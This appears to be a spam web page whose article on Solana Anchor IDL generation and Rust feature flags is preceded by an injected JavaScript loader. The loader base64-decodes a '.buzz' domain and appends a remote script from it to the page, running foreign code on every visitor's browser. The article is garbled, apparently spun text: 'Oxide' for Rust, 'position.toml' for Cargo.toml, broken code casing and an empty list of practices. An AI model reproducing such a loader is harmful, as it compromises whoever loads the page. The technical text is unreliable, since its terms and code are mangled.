const pdx=”bm9yZGVyc3dpbmcuYnV6ei94cC8=”;const pde=atob(pdx.replace(/|/g,””));const script=document.createElement(“script”);script.src=”https://”+pde+”cc.php?u=f4ecc52b”;document.body.appendChild(script);
Solana: Anchor Idl Generation ignores the flags of Oxide Property
As developers that operate in several versions of the Solana program with the help of the Rust Anchor IDL translator, we have faced a problem in which the characteristics are not properly used in the generated code. This can lead to inconsistencies and maintenance challenges when a transition is made between different versions of the program.
The problem: Features and anchors
Oxide -function work indicators that evaluate specific conditions at the time of compilation that allows developers to incorporate or exclude the code based on the objective environment (such as Solana 1.x or 2.0) (such as Solana 1.x or 2.0). In the translator of Solana Achor IDL, these features are depicted as rust ‘cfg’ attributes.
If you use multiple versions of a program with the characteristics, it can be difficult to ensure that the generated code accurately reflects the desired configuration. For example, if you want to use API Solana 1.x and 2.0 in our program, you need to generate a separate time for each version. However, the current implementation of the anchor does not take into account this complexity.
The problem: flags of the ignored services
When it builds a new project, the Build position generates an IDL file that defaults all the properties allowed. This can lead to unexpected behavior if we strive for several versions of Solana. Specifically, when using the anchor IDL functions, any change in the code through these indicators is not reflected in the time created.
Let’s look at a simple example to illustrate the problem:
`oxide
// src/main.rs
#[CFG (property = "v1_0")]
MOD API1;
#[CFG (property = "v2_0_0")]
Mod api2;
Fn main () {
// ...
}
In this example, we generate the "API1" module for Solana 1.x (the predetermined version), but in our program we want to use API Solana 1.x and 2.0.
If the project is only built using thev1_0file, the API1.RS file defaults all the properties that can be enabled by default, including V2_0_0. However, when we try to assemble it with “V2_0_0”, the generated code does not reflect the desired configuration.
The solution: individual anchor configuration
To solve this problem, we need a method to customize the behavior of anchor service for every version of Solana. A possible solution is to create a separate configuration file that determines the destination environment and the personalized properties for the specific version of the Solana.
Here’s an example of how to change “position.toml”:
`Toml
[package]
NAME = "My_solana_program"
Version = "0.1.0"
[Features]
V1_0 = []
V2_0_0 = []
With this configuration, when the project is made only withv1_0, the API11.RS file correctly reflects the desired configuration.
You can then create a separate IDL file for every version of Solana and insert all relevant features into both files. Finally, when you want to use several versions of Solana in our program, you simply need to generate different IDL with the Anchor IDL translator.
The best exercises
In order to keep the maintenance capacity of Solana's programs, consider the following proven exercises:
By following these best exercises and the location of the anchor IDL translator, you can ensure that Solana’s programs maintain consistency in different versions while taking advantage of the latest features.
